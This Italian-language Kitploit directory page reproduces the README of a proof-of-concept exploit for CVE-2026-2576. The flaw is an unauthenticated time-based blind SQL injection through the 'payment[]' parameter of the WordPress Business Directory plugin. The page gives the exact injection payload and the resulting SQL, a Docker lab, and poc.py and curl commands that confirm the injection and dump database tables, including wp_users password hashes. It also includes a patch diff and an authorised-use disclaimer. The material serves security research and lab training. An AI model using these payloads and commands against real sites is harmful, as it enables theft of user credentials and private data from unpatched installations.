Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE_2026_2576_PoC — CVE-2026-2576 — PoC SQLi per il Plugin Business Directory (Configurazione Locale). Iniezione SQL Blind Basata sul Tempo Non Autenticata nel Plugin Business Directory per WordPress ≤ 6.4.21 | Kitploit
Strumenti/GitHubGitHub/sowatkheang/cve_2026_2576_poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubsowatkheang/cve_2026_2576_poc

CVE_2026_2576_PoC

CVE-2026-2576 — PoC SQLi per il Plugin Business Directory (Configurazione Locale). Iniezione SQL Blind Basata sul Tempo Non Autenticata nel Plugin Business Directory per WordPress ≤ 6.4.21

Vedi Repository
2515 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-2576 — PoC SQLi per il Plugin Business Directory

SQL Injection cieca basata sul tempo, non autenticata
Plugin Business Directory per WordPress ≤ 6.4.21


Indice

  • Panoramica della vulnerabilità
  • Analisi tecnica
  • Requisiti del laboratorio
  • Configurazione del laboratorio
  • Esecuzione del PoC
  • Output atteso
  • Analisi della patch
  • Riferimenti
  • Disclaimer

Panoramica della vulnerabilità

CampoDettaglio
CVECVE-2026-2576
PluginBusiness Directory Plugin – Easy Listing Directories for WordPress
Vendorstrategy11team
Versioni affetteTutte le versioni ≤ 6.4.21
Corretta in6.4.22
TipoSQL Injection cieca basata sul tempo (CWE-89)
AutenticazioneNessuna — completamente non autenticata
CVSS7.5 (NVD) / 9.3 (Wordfence)
VettoreCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AssegnatarioWordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
Divulgata18 febbraio 2026

Il Business Directory Plugin è un plugin WordPress ampiamente utilizzato per creare directory di annunci con supporto ai pagamenti. Una falla nel suo query builder ORM consente a un attaccante non autenticato di eseguire SQL injection cieca basata sul tempo tramite il parametro di query payment, permettendo di dedurre il contenuto del database.


Analisi tecnica

Causa principale

La vulnerabilità risiede nel query builder ORM:

File: includes/db/class-db-query-set.php — filter_args()

root@kitploit:~
private function filter_args( $args ) {
    $filters = array();

    foreach ( $args as $f => $v ) {
        $op = '=';
        // ...

        if ( is_array( $v ) ) {
            // ❌ VULNERABILE — nessuna sanitizzazione, concatenazione diretta di stringhe
            $filters[] = "$f IN ('" . implode( "','", $v ) . "')";
        } else {
            // ✓ Sicuro — usa $wpdb->prepare()
            $filters[] = $this->db->prepare( "$f $op %s", $v );
        }
    }

    return $filters;
}

Quando $v è uno scalare, il codice usa correttamente $wpdb->prepare(). Quando $v è un array, si cade nel ramo non sicuro e i valori vengono concatenati direttamente nella stringa SQL senza alcun escaping.

Attivazione

Il controller del checkout (includes/controllers/pages/class-checkout.php) legge il parametro di richiesta payment e lo passa all'ORM:

root@kitploit:~
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
    $this->payment = WPBDP_Payment::objects()->get(
        array( 'payment_key' => $payment_id )  // $payment_id passato come valore
    );
}

PHP converte automaticamente payment[]=value nella query string in un array $_GET['payment'] = ['value']. Questo forza $v a essere un array in filter_args(), colpendo il ramo non sicuro.

Flusso dell'iniezione

root@kitploit:~
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>

  PHP: $_REQUEST['payment'] = ['<payload>']   ← array grazie alla notazione []
                    |
                    v
  class-checkout.php: fetch_payment()
                    |
                    v
  WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
                    |
                    v
  class-db-query-set.php: filter_args()
      => is_array($v) == TRUE → ramo non sicuro
      => "$f IN ('" . implode("','", $v) . "')"
                    |
                    v
  MySQL: SELECT * FROM wp_wpbdp_payments
         WHERE payment_key IN ('<payload>')

Payload di iniezione

root@kitploit:~
payment[]=<key>') AND IF((<condizione>),SLEEP(N),0)-- -

SQL generato:

root@kitploit:~
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condizione>),SLEEP(N),0)-- -')

Il -- - commenta il ') finale. L'IF() crea un oracolo booleano: quando la condizione è VERA, SLEEP(N) scatta e la risposta viene ritardata; quando è FALSA la risposta è immediata.

Nota: L'ORM esegue la query due volte per richiesta (una in get(), una in maybe_execute_query()), quindi un payload SLEEP(1) produce circa 2 secondi di ritardo osservabile, e SLEEP(2) produce circa 4 secondi.

Impatto

Un attaccante non autenticato può dedurre ed estrarre il contenuto del database carattere per carattere tramite risposte basate sul tempo, inclusi:

  • Tabella utenti WordPress (wp_users), nomi utente, indirizzi email, hash delle password
  • Registri di pagamento del plugin, dati delle transazioni, dettagli dei proprietari degli annunci
  • Qualsiasi altra tabella accessibile dall'utente del database

Patch

La correzione nella versione 6.4.22 aggiunge la sanitizzazione al ramo array di filter_args():

root@kitploit:~
// PRIMA (vulnerabile)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";

// DOPO (corretto)
$escaped   = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";

Requisiti del laboratorio

  • Docker + Docker Compose (v2)
  • Python 3.9+
  • Kali Linux o qualsiasi host Linux
  • Accesso a Internet (per scaricare le immagini Docker e il plugin)

Installa le dipendenze Python:

root@kitploit:~
pip3 install requests colorama --break-system-packages

Configurazione del laboratorio

Passo 1: Clona o crea la directory del laboratorio

root@kitploit:~
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini

Passo 2: Avvia l'intero stack

root@kitploit:~
cd cve-2026-2576-lab
docker compose up -d --build

Passo 3: Esegui l'installer e attendi il completamento

root@kitploit:~
docker compose up setup

Attendi finché non vedi:

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║           Configurazione del Laboratorio Completata!     ║
╠══════════════════════════════════════════════════════════╣
║  WordPress:   http://localhost:8080                      ║
║  WP Admin:    http://localhost:8080/wp-admin             ║
║  phpMyAdmin:  http://localhost:8082                      ║
╠══════════════════════════════════════════════════════════╣
║  admin / admin123                                        ║
║  victim / victimpass123                                  ║
╠══════════════════════════════════════════════════════════╣
║  Plugin: 6.4.21 (VULNERABILE)                            ║
║  ID Pagina BD: 4                                         ║
╚══════════════════════════════════════════════════════════╝

Passo 4: Conferma la versione vulnerabile del plugin

root@kitploit:~
docker exec lab_wordpress bash -c \
  "grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
  | head -1"
# Atteso: * Version: 6.4.21

Passo 5: Ottieni la payment_key reale dal database

root@kitploit:~
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
root@kitploit:~
+----+--------------+---------+
| id | payment_key  | status  |
+----+--------------+---------+
|  1 | seed-pay-001 | pending |
+----+--------------+---------+

Passo 6: Avvia phpMyAdmin (opzionale, per ispezione del DB)

root@kitploit:~
docker compose up -d pma
# Accessibile su http://localhost:8082  (root / rootpass)

Esecuzione del PoC

Tutti i comandi vengono eseguiti dalla directory principale del laboratorio sul tuo host Kali. Usa http://localhost:8080 (mappatura porta host → Docker). La payment_key deve corrispondere a una riga esistente in wp_wpbdp_payments.

Rilevamento: conferma che l'iniezione esiste

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect

Atteso: INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 esecuzioni ORM)

Alt text

Estrazione: nome del database, versione, utente

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

Alt text

Elenco: tutte le tabelle nel database

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables

Dump: tabella utenti WordPress (hash delle password)

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users

Dump: tabella personalizzata (segreti seminati)

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets

Estrazione di espressioni SQL personalizzate

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4  --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"  

Ottimizzazione della velocità

FlagPredefinitoNote
--sleep N1SLEEP(N) per oracolo. VERO ≈ N×2s. Più basso = più veloce, più rumoroso
--threads N4Posizioni carattere in parallelo. 8 funziona bene su hardware moderno
root@kitploit:~
# Estrazione più veloce
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8

Verifica manuale con curl

root@kitploit:~
# Baseline: dovrebbe rispondere in < 0.1s
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"

# Sonda Sleep: dovrebbe rispondere in ~4s (SLEEP(2) × 2 esecuzioni)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")" 


Analisi della patch

Per confrontare la versione vulnerabile con quella corretta:

root@kitploit:~
python3 poc/patch_diff.py 

# Per il diff completo
python3 poc/patch_diff.py --full
  • Oppure download manuale
root@kitploit:~
# Scarica entrambe le versioni
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422

# Confronta il file vulnerabile
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php

Il diff mostrerà esc_sql() aggiunto al ramo array in filter_args().


Gestione del laboratorio

root@kitploit:~
# Ferma il laboratorio (preserva i dati)
docker compose stop

# Riavvia
docker compose start

# Smantellamento completo — distrugge tutti i volumi e i dati
docker compose down -v

# Riesegui la configurazione da zero
docker compose down -v && docker compose up setup

# Shell nel container WordPress
docker exec -it lab_wordpress bash

# Visualizza il log degli errori PHP di WordPress
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log

# Osserva il log delle query MySQL in tempo reale
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"

docker exec lab_mysql tail -f /tmp/mysql.log

Riferimenti

  • Avviso Wordfence — https://www.wordfence.com/threat-intel/vulnerabilities/id/d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
  • Voce NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-2576
  • Pagina del plugin WordPress — https://wordpress.org/plugins/business-directory-plugin/
  • SVN del plugin WordPress — https://plugins.svn.wordpress.org/business-directory-plugin/
  • OWASP: SQL Injection — https://owasp.org/www-community/attacks/SQL_Injection
  • CWE-89 — https://cwe.mitre.org/data/definitions/89.html
  • Documentazione $wpdb->prepare() di WordPress — https://developer.wordpress.org/reference/classes/wpdb/prepare/

Disclaimer

Questo repository è destinato esclusivamente a ricerca sulla sicurezza autorizzata e scopi educativi. Tutti i test sono stati condotti in un ambiente di laboratorio locale isolato. Non eseguire mai questo strumento contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale ai sensi del Computer Fraud and Abuse Act (CFAA) e delle leggi equivalenti in altre giurisdizioni.

L'autore non si assume alcuna responsabilità per l'uso improprio di questo materiale. Segui sempre le pratiche di divulgazione responsabile — se scopri nuovi risultati basati su questa ricerca, coordina con il vendor prima di pubblicare.


Ricercato e sviluppato in un laboratorio Docker isolato su Kali Linux.

Scarica lo strumento